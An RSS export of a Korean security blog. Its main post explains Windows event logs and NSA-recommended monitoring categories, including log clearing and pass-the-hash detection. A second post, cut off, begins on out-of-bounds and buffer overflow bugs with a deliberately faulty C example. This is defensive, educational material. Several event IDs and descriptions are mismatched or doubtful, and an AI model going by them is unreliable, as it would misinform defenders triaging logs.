<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>hae_to.log</title>
        <link>https://velog.io/</link>
        <description>진인사대천명</description>
        <lastBuildDate>Thu, 17 Jul 2025 10:18:23 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>hae_to.log</title>
            <url>https://velog.velcdn.com/images/hae_to/profile/96d1cec1-7ebc-495b-8729-fbdf600940a6/social_profile.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. hae_to.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/hae_to" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[윈도우 주요 이벤트 로그 정리]]></title>
            <link>https://velog.io/@hae_to/%EC%9C%88%EB%8F%84%EC%9A%B0-%EC%A3%BC%EC%9A%94-%EC%9D%B4%EB%B2%A4%ED%8A%B8-%EB%A1%9C%EA%B7%B8-%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@hae_to/%EC%9C%88%EB%8F%84%EC%9A%B0-%EC%A3%BC%EC%9A%94-%EC%9D%B4%EB%B2%A4%ED%8A%B8-%EB%A1%9C%EA%B7%B8-%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Thu, 17 Jul 2025 10:18:23 GMT</pubDate>
            <description><![CDATA[<p>Window 운영체제는 다양한 이벤트 로그를 통해 시스템 및 애플리케이션의 상태를 기록하고 추적할 수 있는 기능을 제공한다. 시스템 관리자가 성능을 모니터링하거나 문제를 해결하며, 보안 위협을 탐지하고 대응하는 데 필수적인 역할을 한다. 그러나 이벤트 로그의 방대한 양과 복잡성으로 인해 보안 관련 이벤트를 식별하기가 어려울 수 있다.</p>
<p>이에 NSA(National Security Agency)는 보안 모니터링 및 위협 헌팅을 위한 권장 이벤트 로그 카테고리를 정리한 문서, <code>&quot;Spotting the Adversary with Windows Event Log Monitoring&quot;</code>을 발표했다. 이 문서는 공격자의 활동을 모니터링하고 분석하는 데 필수적인 윈도우의 16가지 이벤트 카테고리를 정의하여, 위협을 조기에 탐지하고 대응할 수 있는 지침을 제공한다. 본 논문에서는 Windows의 주요 이벤트 로그에 대한 설명과 더불어 NSA가 권장한 16가지 이벤트 카테고리에 대해 구체적으로 설명하고자 한다.</p>
<h2 id="1-window-주요-이벤트-로그">1. Window 주요 이벤트 로그</h2>
<p>Windows 운영체제는 다음과 같은 세 가지 주요 이벤트 로그를 제공한다</p>
<ul>
<li><strong>시스템 로그 (System Log):</strong> 운영체제 및 시스템 구성 요소에서 발생하는 이벤트를 기록한다. 하드웨어 오류, 서비스 시작 및 종료, 드라이버 문제와 같은 시스템 이벤트를 모니터링하는 데 사용된다.</li>
<li><strong>응용 프로그램 로그 (Application Log):</strong> 시스템에서 실행되는 애플리케이션이 기록하는 이벤트를 포함한다. 애플리케이션 오류, 소프트웨어 경고 및 정보성 메시지 등을 확인할 수 있다.</li>
<li><strong>보안 로그 (Security Log):</strong> 보안 관련 이벤트를 기록한다. 로그인 및 로그아웃 시도, 사용자 권한 변경, 파일 접근과 같은 이벤트가 기록되며, 시스템의 무단 접근을 탐지하는 데 중요한 역할을 한다.</li>
</ul>
<p>이러한 이벤트 로그는 <strong>Event Viewer</strong>에서 확인할 수 있으며, 각 로그에는 시간, 이벤트 ID, 설명 등이 포함된다.</p>
<h2 id="2-nsa가-규정한-16가지-window-이벤트-카테고리">2. NSA가 규정한 16가지 Window 이벤트 카테고리</h2>
<p>NSA는 공격자의 활동을 모니터링하는 데 중요한 16가지 Windows 이벤트 카테고리를 정의하였다. 이 카테고리는 이벤트 로그에서 공격자 활동을 식별할 수 있는 핵심 요소들로 구성되어 있으며, 침해사고 분석 및 대응 시 중요한 정보를 제공한다.</p>
<h3 id="1-application-whitelisting">1. Application Whitelisting</h3>
<ul>
<li>조직 보안정책에 따라 승인된 소프트웨어만 실행을 허용한다.</li>
<li>무단 소프트웨어의 실행을 방지하고 조직 보안을 강화한다.</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>8003</td>
<td>Warning</td>
<td><code>&lt;File name&gt;</code> was allowed to run but would have been prevented from running if the AppLocker policy were enforced.</td>
<td><code>&lt;파일 이름&gt;</code>은 실행이 허용되었으나, AppLocker 정책이 적용되었을 경우 실행이 차단되었을 것이다.</td>
</tr>
<tr>
<td>8004</td>
<td>Error</td>
<td><code>&lt;File name&gt;</code> was not allowed to run.</td>
<td>관리자에 의해 <code>&lt;파일 이름&gt;</code>에 대한 접근이 제한되었습니다. 이는 그룹 정책 상속을 통해 직접 또는 간접적으로 Enforce rules 집행 모드가 설정된 경우에만 적용된다. .exe 또는 .dll 파일을 실행할 수 없다.</td>
</tr>
</tbody></table>
<h3 id="2-application-crashes">2. Application Crashes</h3>
<ul>
<li><p>응용 프로그램의 예기치 않은 충돌을 모니터링하여 시스템 안정성을 유지한다.</p>
</li>
<li><p>충돌 원인 분석을 통해 소프트웨어 문제를 신속히 해결하고 보안을 강화한다.</p>
<ul>
<li><p>Event ID: 1001 log</p>
<pre><code class="language-xml">  &lt;Event xmlns=&quot;http://schemas.microsoft.com/win/2004/08/events/event&quot;&gt;
    &lt;System&gt;
      &lt;Provider Name=&quot;Windows Error Reporting&quot; /&gt; 
      &lt;EventID Qualifiers=&quot;0&quot;&gt;1001&lt;/EventID&gt; 
      &lt;Level&gt;4&lt;/Level&gt; 
      &lt;Task&gt;0&lt;/Task&gt; 
      &lt;Keywords&gt;0x80000000000000&lt;/Keywords&gt; 
      &lt;TimeCreated SystemTime=&quot;2020-02-12T10:09:34.000000000Z&quot; /&gt; 
      &lt;EventRecordID&gt;260507&lt;/EventRecordID&gt; 
      &lt;Channel&gt;Application&lt;/Channel&gt; 
      &lt;Computer&gt;hydra&lt;/Computer&gt; 
      &lt;Security /&gt; 
    &lt;/System&gt;
    &lt;EventData&gt;
      &lt;Data&gt;2023787729086567941&lt;/Data&gt; 
      &lt;Data&gt;1&lt;/Data&gt; 
      &lt;Data&gt;APPCRASH&lt;/Data&gt; 
      &lt;Data&gt;Not available&lt;/Data&gt; 
      &lt;Data&gt;0&lt;/Data&gt; 
      &lt;Data&gt;testDeliberateCrash.exe&lt;/Data&gt; 
      &lt;Data&gt;1.0.0.1&lt;/Data&gt; 
      &lt;Data&gt;5e419525&lt;/Data&gt; 
      &lt;Data&gt;testDeliberateCrash.exe&lt;/Data&gt; 
      &lt;Data&gt;1.0.0.1&lt;/Data&gt; 
      &lt;Data&gt;5e419525&lt;/Data&gt; 
      &lt;Data&gt;c0000005&lt;/Data&gt; 
      &lt;Data&gt;000017b2&lt;/Data&gt; 
      &lt;Data /&gt; 
      &lt;Data /&gt; 
      &lt;Data&gt;C:\Users\stephen\AppData\Local\Temp\WERC24C.tmp.
      WERInternalMetadata.xml&lt;/Data&gt; 
    &lt;Data&gt;C:\Users\stephen\AppData\Local\Microsoft\Windows\WER\
    ReportArchive\AppCrash_testDeliberateCr_c31b903842d94a84d4621dceaa
    c377462674f7a_eb589596_139ec4bd&lt;/Data&gt; 
      &lt;Data /&gt; 
      &lt;Data&gt;0&lt;/Data&gt; 
      &lt;Data&gt;c3d360b2-4d7f-11ea-83d3-001e4fdb3956&lt;/Data&gt; 
      &lt;Data&gt;0&lt;/Data&gt; 
      &lt;Data&gt;54756af49aec84f97c15f03794ffd605&lt;/Data&gt; 
    &lt;/EventData&gt;
  &lt;/Event&gt;</code></pre>
</li>
</ul>
</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>1000</td>
<td>Error</td>
<td><code>&lt;Application name&gt;</code> encountered an unexpected error and crashed.</td>
<td><code>응용 프로그램</code>이 충돌하거나 작동이 중단될 때 발생하며, 악성 코드로 인한 충돌을 확인할 수 있다.</td>
</tr>
<tr>
<td>1001</td>
<td>Information</td>
<td>Windows Error Reporting logged an application crash.</td>
<td>애플리케이션 충돌에 대한 오류 보고서가 생성될 때 발생하며, 충돌의 상세 정보를 제공하여 문제 해결에 도움을 준다.</td>
</tr>
<tr>
<td>1002</td>
<td>Warning</td>
<td><code>&lt;Application name&gt;</code> has stopped working.</td>
<td>응용 프로그램이 응답하지 않거나 비정상적으로 종료되었음을 나타낸다.</td>
</tr>
<tr>
<td>1003</td>
<td>Information</td>
<td>Windows Error Reporting submitted an application crash.</td>
<td>애플리케이션 충돌에 대한 오류 보고서가 제출되었음을 기록한다.</td>
</tr>
</tbody></table>
<h3 id="3-system-or-service-failures">3. System or Service Failures</h3>
<ul>
<li>시스템 서비스의 시작 및 종료 상태를 지속적으로 모니터링하여 장애를 조기에 발견한다.</li>
<li>서비스 실패 원인을 신속히 파악하고 문제 해결을 통해 시스템의 안정성을 유지한다.</li>
</ul>
<table>
<thead>
<tr>
<th><strong>Event ID</strong></th>
<th><strong>Level</strong></th>
<th><strong>Event Message</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td>7000</td>
<td>Error</td>
<td>Service Control Manager failed to start <Service Name>.</td>
<td>서비스 시작 실패 시 기록되며, 서비스의 이름, 실패 원인, 오류 코드 등을 포함한다.</td>
</tr>
<tr>
<td>7001</td>
<td>Error</td>
<td>Service <code>&lt;Service Name&gt;</code> failed dependencies</td>
<td>서비스가 필요한 다른 서비스의 실패로 인해 시작에 실패했음을 나타낸다.</td>
</tr>
<tr>
<td>7009</td>
<td>Warning</td>
<td>Service <code>&lt;Service Name&gt;</code> did not respond to the start request in a timely fashion.</td>
<td>서비스 시작 요청에 지정된 시간 내에 응답하지 않아 실패했음을 기록한다.</td>
</tr>
<tr>
<td>7031</td>
<td>Error</td>
<td><code>&lt;Service name&gt;</code> terminated unexpectedly.</td>
<td>중요한 시스템 서비스가 중단되었을 때 기록된다.</td>
</tr>
<tr>
<td>7034</td>
<td>Error</td>
<td><code>&lt;Service name&gt;</code> stopped unexpectedly.</td>
<td>비정상적인 서비스 종료는 시스템 문제나 침해의 징후일 수 있다.</td>
</tr>
<tr>
<td>7035</td>
<td>Information</td>
<td>Service Control Manager sent a <code>&lt;command&gt;</code> request to <code>&lt;Service Name&gt;</code>.</td>
<td>서비스에 대한 시작, 중지, 재시작 등의 명령 요청을 기록한다.</td>
</tr>
<tr>
<td>7040</td>
<td>Information</td>
<td>The start type of service <code>&lt;Service Name&gt;</code> changed from <code>&lt;Old Start Type&gt;</code> to <code>&lt;New Start Type&gt;</code>.</td>
<td>서비스의 시작 유형이 변경되었을 때 기록된다.</td>
</tr>
<tr>
<td>7045</td>
<td>Error</td>
<td>A service was installed in the system.</td>
<td>새로운 서비스가 설치될 때 기록된다.</td>
</tr>
<tr>
<td>7046</td>
<td>Information</td>
<td>A new service has been installed in the system.</td>
<td>새로운 서비스가 설치되었음을 나타낸다.</td>
</tr>
</tbody></table>
<h3 id="4-window-update-errors">4. Window Update Errors</h3>
<ul>
<li>윈도우를 업데이트하는 과정에서 최신 보안 패치 적용에 실패하는 경우 보안 취약점이 발생 가능</li>
<li>업데이트나 패치에 할당된 고유 식별자 KB(Knowledge Base)번호와 오류코드가 함께 포함되며 사용자가 해결책을 찾는데 도움이 될 수 있도록 함.</li>
</ul>
<table>
<thead>
<tr>
<th><strong>Event ID</strong></th>
<th><strong>Level</strong></th>
<th><strong>Event message</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td>20</td>
<td>Error</td>
<td>Installation Failure: Windows failed to install the following update with error 0x80073701: KB5005565</td>
<td></td>
</tr>
<tr>
<td>특정 업데이트가 설치 되지 못했을 때 발생하며 실패한 업데이트의 KB(Knowledge Base)번호와 오류코드를 포함, 반복적인 설치 실패는 시스템 자체의 안정성과 보안에 영향을 줄 수 있으므로 조치가 필요.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19</td>
<td>Error</td>
<td>Download Failure: Windows failed to download the following update with error: KB5005565</td>
<td>업데이트가 다운로드 되지 않았을 때 발생</td>
</tr>
<tr>
<td>25</td>
<td>Warning</td>
<td>Update Rollback: Windows Update was rolled back after failure to install update: KB5005565</td>
<td>업데이트 설치 중 오류로 인해 시스템이 이전 상태로 복원된 것</td>
</tr>
</tbody></table>
<h3 id="5-window-firewall">5. Window Firewall</h3>
<ul>
<li>네트워크 트래픽의 규칙 생성 또는 차단된 트래픽을 기록하며 비정상적인 트래픽이나 악의적인 접근 시도가 있을 때 차단된 트래픽을 모니터링 할 수 있음</li>
</ul>
<table>
<thead>
<tr>
<th><strong>Event ID</strong></th>
<th><strong>Level</strong></th>
<th><strong>Event Message</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td>2004</td>
<td>Information</td>
<td>A new firewall rule was successfully created.</td>
<td>새로운 방화벽 규칙이 생성되었을 때 기록됨</td>
</tr>
<tr>
<td>5031</td>
<td>Error</td>
<td>The Windows Firewall service blocked an application from accepting incoming connections on the network.</td>
<td>방화벽이 비정상적인 네트워크 트래픽을 차단할 때 발상</td>
</tr>
<tr>
<td>5035</td>
<td>Warning</td>
<td>The Windows Firewall service was stopped or restarted.</td>
<td>방화벽 서비스가 비활성화 되거나 재시작 되었을 때 기록됨</td>
</tr>
</tbody></table>
<h3 id="6-clearing-event-logs">6. Clearing Event Logs</h3>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>1102</td>
<td>Warning</td>
<td>The security log was cleared by <code>&lt;User name&gt;</code>.</td>
<td>공격자가 흔적을 은폐하기 위해 보안 로그를 삭제할 때 기록된다.</td>
</tr>
</tbody></table>
<h3 id="7-software-and-service-installation">7. Software and Service Installation</h3>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>11707</td>
<td>Information</td>
<td>The installation of <code>&lt;Software name&gt;</code> was successful.</td>
<td>새로운 소프트웨어가 설치되었을 때 발생하며, 불법적인 소프트웨어 설치 여부를 확인할 수 있다.</td>
</tr>
<tr>
<td>1033</td>
<td>Information</td>
<td>The removal of <code>&lt;Software name&gt;</code> was successful.</td>
<td>설치된 프로그램이 제거되었을 때 기록되며, 악성 프로그램 제거 시 추적할 수 있다.</td>
</tr>
</tbody></table>
<h3 id="8-account-usage">8. Account Usage</h3>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>4624</td>
<td>Information</td>
<td>Asuccessful logon for <code>&lt;User name&gt;</code> occurred.</td>
<td>계정 로그온 성공 시 기록되며, 비정상적인 로그온 시도를 탐지하는 데 유용하다.</td>
</tr>
<tr>
<td>4625</td>
<td>Warning</td>
<td>A failed logon attempt was made by <code>&lt;User name&gt;</code>.</td>
<td>비정상/무단 로그인 시도를 탐지하며 공격자가 무차별 공격을 시도할 때 발생한다.</td>
</tr>
</tbody></table>
<h3 id="9-kernel-driver-signing">9. Kernel Driver Signing</h3>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>3089</td>
<td>Warning</td>
<td>The driver <code>&lt;Driver name&gt;</code> was blocked from loading due to invalid signature.</td>
<td>서명되지 않거나 악성 드라이버가 커널에 로드될 때 발생한다.</td>
</tr>
</tbody></table>
<h3 id="10-group-policy-errors">10. Group Policy Errors</h3>
<ul>
<li>오류 이벤트 로그는 Group Policy(그룹 정책) 관련 작업이 실행되는 동안 발생하는 오류에 대한 기록을 제공하는 로그</li>
<li>권한 설정, 네트워크 연결 상태, 레지스트리 검사 등을 통해서 문제를 해결할 수 있음</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>1000</td>
<td>Error</td>
<td>GPO processing faild</td>
<td>그룹 정책 객체(GPO)를 처리하는 중 실패가 발생할 때 나타난다.</td>
</tr>
<tr>
<td>1085</td>
<td>Error</td>
<td>Extension processing failed</td>
<td>스크립트, 소프트웨어 설치, 폴더 리디렉션 등의 확장 기능을 처리하는 동안 실패할 때 발생한다.</td>
</tr>
<tr>
<td>1058</td>
<td>Error</td>
<td>Failed to load Group Policy</td>
<td>그룹 정책을 로드하지 못할 때 발생하며, 주로 네트워크 경로 또는 공유 권한 문제 때문이다.</td>
</tr>
<tr>
<td>1030</td>
<td>Error</td>
<td>Unable to access Group Policy file</td>
<td>GPO에 액세스할 수 없을 때 발생하며, 이는 주로 네트워크 경로나 파일 권한 문제로 인한 것이다.</td>
</tr>
<tr>
<td>1502</td>
<td>Error</td>
<td>Local Group Policy processing failed</td>
<td>로컬 그룹 정책을 처리하는 동안 실패가 발생했음을 나타내며, 시스템 정책 적용에 문제가 있을 수 있다.</td>
</tr>
<tr>
<td>7016</td>
<td>Warning</td>
<td>Service failed to process Group Policy</td>
<td>Windows 서비스가 그룹 정책을 처리하지 못할 때 발생하며, 주로 권한 또는 네트워크 문제와 관련이 있다.</td>
</tr>
</tbody></table>
<h3 id="11-windows-defender-activites">11. Windows Defender Activites</h3>
<ul>
<li>Spyware나 Malware같은 악의적인 프로그램을 감지, 제거, 예방한다는 알림</li>
<li>Windows Defender가 동작하는데 실패했다는 알림은 관리자가 추가적인 감염이나 이러한 가능성을 방지</li>
<li>다만, 서드파티 안티바이러스 또는 안티 스파이웨어 제품이 정상 작동하고 있다면, 이러한 로그는 필요하지 않다.</li>
<li>위협 제거 실패 시, 수동으로 문제를 처리 또는 안전 모드에서 다시 스캔하여 시도 가능</li>
<li>정의 업데이트 실패 시, 네트워크 연결 상태를 점검 및 수동으로 최신 정의 파일을 다운로드하여 업데이트</li>
<li>스캔 실패 시, 시스템 리소스 부족이나 파일 접근 권한 문제일 수 있으니 해당 파일의 권한 설정을 확인하고 다시 시도</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>1000</td>
<td>Info</td>
<td>Potential threat detect</td>
<td>잠재적 위협이 감지됨</td>
</tr>
<tr>
<td>1001</td>
<td>Info</td>
<td>Threat details recorded</td>
<td>위협에 대한 세부 정보 기록</td>
</tr>
<tr>
<td>1002</td>
<td>Info</td>
<td>Threat details completed</td>
<td>위협에 대한 조치 완료</td>
</tr>
<tr>
<td>1003</td>
<td>Error</td>
<td>Threat action failed</td>
<td>위협 조치 실패</td>
</tr>
<tr>
<td>1004</td>
<td>Info</td>
<td>Manual threat handling</td>
<td>수동으로 위협을 처리함</td>
</tr>
<tr>
<td>2000</td>
<td>Info</td>
<td>Defender scan started</td>
<td>Window Defender가 스캔을 시작함</td>
</tr>
<tr>
<td>2001</td>
<td>Info</td>
<td>Defender scan completed</td>
<td>스캔 완료 및 결과 기록</td>
</tr>
<tr>
<td>5000</td>
<td>Info</td>
<td>Defender scan successful</td>
<td>정의 업데이트 성공</td>
</tr>
<tr>
<td>5001</td>
<td>Error</td>
<td>Defender scan failed</td>
<td>정의 업데이트 실패</td>
</tr>
<tr>
<td>1116</td>
<td>Error</td>
<td>Specific task failure</td>
<td>특정 작업 실패</td>
</tr>
<tr>
<td>1117</td>
<td>Info</td>
<td>Task successfully completed</td>
<td>작업 성공적으로 완료됨</td>
</tr>
<tr>
<td>1123</td>
<td>Info</td>
<td>Real-time protection enabled</td>
<td>실시간 보호가 켜짐</td>
</tr>
<tr>
<td>1124</td>
<td>Warning</td>
<td>Real-time protection disabled</td>
<td>실시간 보호가 꺼짐</td>
</tr>
<tr>
<td>1125</td>
<td>Info</td>
<td>Other security software replacing real-time protection</td>
<td>다른 보안 소프트웨어가 실시간 보호 기능을 대신함</td>
</tr>
</tbody></table>
<h3 id="12-mobile-device-activities">12. Mobile Device Activities</h3>
<ul>
<li>모바일 장치 파일 접근 시도를 모니터링, 보안 위협을 조기에 식별해, 무단 접근을 효과적으로 방지한다.</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>4656</td>
<td>Information</td>
<td>Mobile device <code>&lt;Device name&gt;</code> attempted to access the file system.</td>
<td>모바일 장치에서 파일 시스템에 액세스 시도를 기록하며, 불법적인 접근을 탐지한다.</td>
</tr>
</tbody></table>
<h3 id="13-external-media-detection">13. External Media Detection</h3>
<ul>
<li>USB 장치 같은 외부 장치를 인식 및 감지와 관련된 이벤트를 말한다. 해당, 이벤트 로그는 Windows 8 이상의 버전에서만 사용이 가능하다.</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>43</td>
<td>Information</td>
<td>External device <code>&lt;Device name&gt;</code> was connected to the system.</td>
<td>USB나 외부 저장 장치 연결을 탐지하여 불법 데이터 유출 기능성을 추적한다.</td>
</tr>
<tr>
<td>20001</td>
<td>Information</td>
<td>External device <code>&lt;Device name&gt;</code> was connected to the system.</td>
<td>외부 장치가 시스템에 연결될 때 발생하는 이벤트이며, 장치의 ID와 연결 시간 등의 정보가 담겨있다.</td>
</tr>
<tr>
<td>20003</td>
<td>Information</td>
<td>External device <code>&lt;Device name&gt;</code> was disconnected from the system.</td>
<td>외부 장치가 시스템에서 제거될 때 발생하는 이벤트가 기록된 것이다.</td>
</tr>
</tbody></table>
<h3 id="14-printing-service">14. Printing Service</h3>
<ul>
<li>네트워크 또는 물리적으로 연결된 프린터기(인쇄 서비스)에 어떤 문서가 인쇄되었는지 기록되는 이벤트를 말한다. 처리를 위해 프린터로 전달되는 문서들은 다양한 방식으로 이벤트 로깅 하기 위해 기록될 수 있다.<ul>
<li>네트워크 또는 물리적으로 연결된 프린터기(인쇄 서비스)에 어떤 문서가 인쇄되었는지 기록되는 이벤트를 말한다. 처리를 위해 프린터로 전달되는 문서들은 다양한 방식으로 이벤트 로깅 하기 위해 기록될 수 있다.</li>
</ul>
</li>
</ul>
<pre><code>| Event ID | Level | Event message | Description |
| --- | --- | --- | --- |
| 307 | Information | A print job for `&lt;User Name&gt;` was successfully completed. | 인쇄 작업이 완료되었음을 기록한 것이다. |
| 372 | Error | A printing error occurred for `&lt;User Name&gt;`. | 인쇄 작업에서 오류가 발생했음을 기록한 것이다. |
| 805 | Error | A printer driver error occurred for `&lt;Printer Name&gt;`. | 프린터 드라이버와 관련된 문제를 기록한 것이다. |</code></pre><p>  <img src="https://velog.velcdn.com/images/hae_to/post/dfd2beed-1043-4c73-9997-03050cd2fef1/image.png" alt=""></p>
<pre><code>   Event ID 307, 805 Details Image</code></pre><h3 id="15-pass-the-hash-detction">15. Pass the Hash Detction</h3>
<ul>
<li><p>공격자가 도난당한 패스워드 해시(주로 NTLM 해시를 사용)를 이용해 비밀번호 없이 인증할 수 있는 공격을 식별하여 기록한 이벤트를 말한다.</p>
  <aside>
  💡

<p>  <strong>NTLW (New-Technology LAN Manager)</strong> 
  윈도우 운영체제에서 <code>Msv1_0.dll</code>에 속해있는 사용자 인증 프로토콜들의 집합을 의미한다. Challenge-Response(도전-응답) 인증 프로토콜 방식을 사용한다.</p>
<p>  <strong>Challenge-Response</strong>
  시스템에 접속한 사용자의 신원을 확인하는 방식으로 시스템이 사용자에게 도전(Challenge)을 보내고, 사용자는 이에 맞는 적절한 응답(Response)을 제공하여 신원을 증명하는 방식이다. 보통 도전에서는 임의의 값을 보내고 응답에서는 해당 값을 받아 암호화 또는 해시 하여 도전자에게 돌려준다.</p>
</li>
</ul>
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Level</th>
<th>Event message</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>4624</td>
<td>Information</td>
<td>Asuccessful logon for <code>&lt;User name&gt;</code> occurred.</td>
<td>보안 로그에서 계정이 성공적으로 로그인되었을 때 기록되는 이벤트이다. 해당 파트에서 이 의미는 공격자가 해시를 이용해 패스워드 입력을 우회하여 로그인 성공으로 간주할 수 있다.</td>
</tr>
<tr>
<td>4672</td>
<td>Information</td>
<td>Special privileges assigned to new logon for <code>&lt;User Name&gt;</code>.</td>
<td>권한이 높은 계정(관리자)이 로그인 할 때 발생하는 이벤트로, 해당 계정에 특별한 권한이 부여되었음을 나타낸다. 즉, 공격자가 접속한 계정을 관리자 계정으로 변경되었음을 간주할 수 있다.</td>
</tr>
</tbody></table>
<h3 id="16-remote-desktop-logon-detection">16. Remote Desktop Logon Detection</h3>
<ul>
<li>RDP(원격 데스크톱 프로토콜)를 통해 사용자 로그인이 성공하거나 실패했을 때 기록되는 이벤트를 말한다.</li>
</ul>
<pre><code>| Event ID | Level | Event message | Description |
| --- | --- | --- | --- |
| Event ID 21 | Information | A Remote Desktop session logon for `&lt;User Name&gt;` occurred. | 원격 데스크톱 세션이 성공적으로 시작되었음을 나타내며, RDP 세션이 시작되고 Windows Explorer 같은 셀이 초기화된 시점을 보여준다. |
| Event ID 1149 | Information | A successful Remote Desktop connection for `&lt;User Name&gt;` occurred. | 사용자가 RDP 세션에 네트워크 연결 시도를 기록되는 이벤트이다. 이는 성공적 연결뿐만이 아닌 연결 시도 자체도 기록한다. |
| Event ID 4624 | Information | Asuccessful logon for `&lt;User name&gt;` occurred. | 보안 로그에서 계정이 성공적으로 로그인되었을 때 기록되는 이벤트이다. |
| Event ID 4625 | Warning | A failed logon attempt was made by `&lt;User name&gt;`. | 원격 데스크톱 로그인 실패 시 기록되는 이벤트이며, 실패한 로그인 시도에 대한 세부 정보가 포함되어 있다. |
| Event ID 4634 | Information | An account logoff for &lt;User Name&gt; occurred. | 사용자가 로그오프하거나 세션이 종료되었을 때 발생하는 이벤트를 기록한 것이다. 즉, 사용자 세션이 더 이상 존재하지 않음을 보여준다. |

![](https://velog.velcdn.com/images/hae_to/post/669ae7bc-ceae-4920-8c68-9fb7cbf8af23/image.png)


Event ID 4634 Details Image

 ## 3. 결론</code></pre><p>Windows 이벤트 로그는 시스템의 상태와 보안 상태를 모니터링하는 데 필수적인 도구로서, 이를 통해 시스템 관리자와 보안 전문가들은 시스템에서 발생하는 다양한 활동을 추적하고 분석할 수 있다. 특히, NSA가 제시한 16가지 이벤트 카테고리는 침해사고 대응 및 위협 탐지에서 매우 중요한 가이드라인을 제공한다.</p>
<p>이 카테고리들은 공격자가 시스템을 장악하거나 조작하려는 다양한 시도를 포착할 수 있는 핵심 로그 이벤트들을 포함하고 있으며, 각각의 이벤트는 로그인 시도, 시스템 설정 변경, 네트워크 연결, 애플리케이션 실행과 같은 활동을 모니터링하여 잠재적인 공격 징후를 탐지하는 데 도움이 된다.</p>
<p>특히, 계정 관리와 관련된 로그, 감사 정책 변경 로그, 서비스 상태 변경 로그 등은 내부 및 외부 공격자가 시스템 권한을 획득하거나 감사를 회피하려는 시도를 식별하는 데 필수적이다. 또한, 네트워크 연결과 파일 공유에 대한 이벤트는 데이터 유출이나 원격 제어 공격을 탐지하는 중요한 정보를 제공한다.</p>
<p>NSA의 권장 사항을 기반으로 한 이러한 이벤트 로그 모니터링은 공격자가 흔적을 남기기 전에 조기에 탐지하고 대응할 수 있는 강력한 수단을 제공한다. 따라서 시스템 관리자와 보안 팀은 이 16가지 이벤트 카테고리를 중심으로 이벤트 로그를 분석하고 주기적으로 모니터링함으로써 보안을 강화하고 침해사고 발생 가능성을 줄일 수 있다.</p>
<p>결론적으로, NSA의 지침은 복잡하고 다양한 시스템 활동을 단순화하여 보안 담당자가 더 효과적으로 위협을 탐지하고 대응할 수 있도록 돕는다. 이를 통해 조직은 보다 효율적인 보안 모니터링을 구현할 수 있으며, 지속적으로 진화하는 위협 환경에서도 효과적인 방어 체계를 유지할 수 있다.</p>
<h3 id="요약-키워드">[요약] 키워드</h3>
<ul>
<li>잠재적인 보안 위협의 조기 탐지</li>
<li>시스템 안정성 향상</li>
<li>비정상적인 사용자 활동 식별</li>
<li>정책 준수 여부 확인</li>
<li>사고 대응 및 포렌식 분석 지원</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[BOF와 OOB]]></title>
            <link>https://velog.io/@hae_to/BOF%EC%99%80-OOB</link>
            <guid>https://velog.io/@hae_to/BOF%EC%99%80-OOB</guid>
            <pubDate>Thu, 10 Jul 2025 11:47:09 GMT</pubDate>
            <description><![CDATA[<h2 id="🔍-메모리-오류의-시작점-oob와-bof-취약점-이해하기">🔍 메모리 오류의 시작점: OOB와 BOF 취약점 이해하기</h2>
<p>현대의 소프트웨어 보안 위협 중 상당수는 ‘메모리 관리의 실패’에서 비롯됩니다. 이 글에서는 대표적인 메모리 관련 취약점인 **OOB(Out-of-Bounds)**와 **BOF(Buffer Overflow)**에 대해 소개하고, 두 취약점이 어떻게 발생하며 어떤 보안 위협을 초래하는지 살펴보겠습니다.</p>
<hr>
<h3 id="📌-1-oobout-of-bounds란">📌 1. OOB(Out-of-Bounds)란?</h3>
<p>**OOB(Out-of-Bounds)**는 말 그대로 <strong>배열의 범위를 벗어난 접근</strong>입니다. 일반적으로 배열이나 버퍼에 데이터를 저장하거나 읽을 때, 허용된 인덱스 범위를 초과해서 접근하면 발생합니다.</p>
<h4 id="✅-예시-코드-c-언어">✅ 예시 코드 (C 언어)</h4>
<pre><code class="language-c">int arr[5] = {1, 2, 3, 4, 5};
printf(&quot;%d\n&quot;, arr[7]);  // OOB 발생!</code></pre>
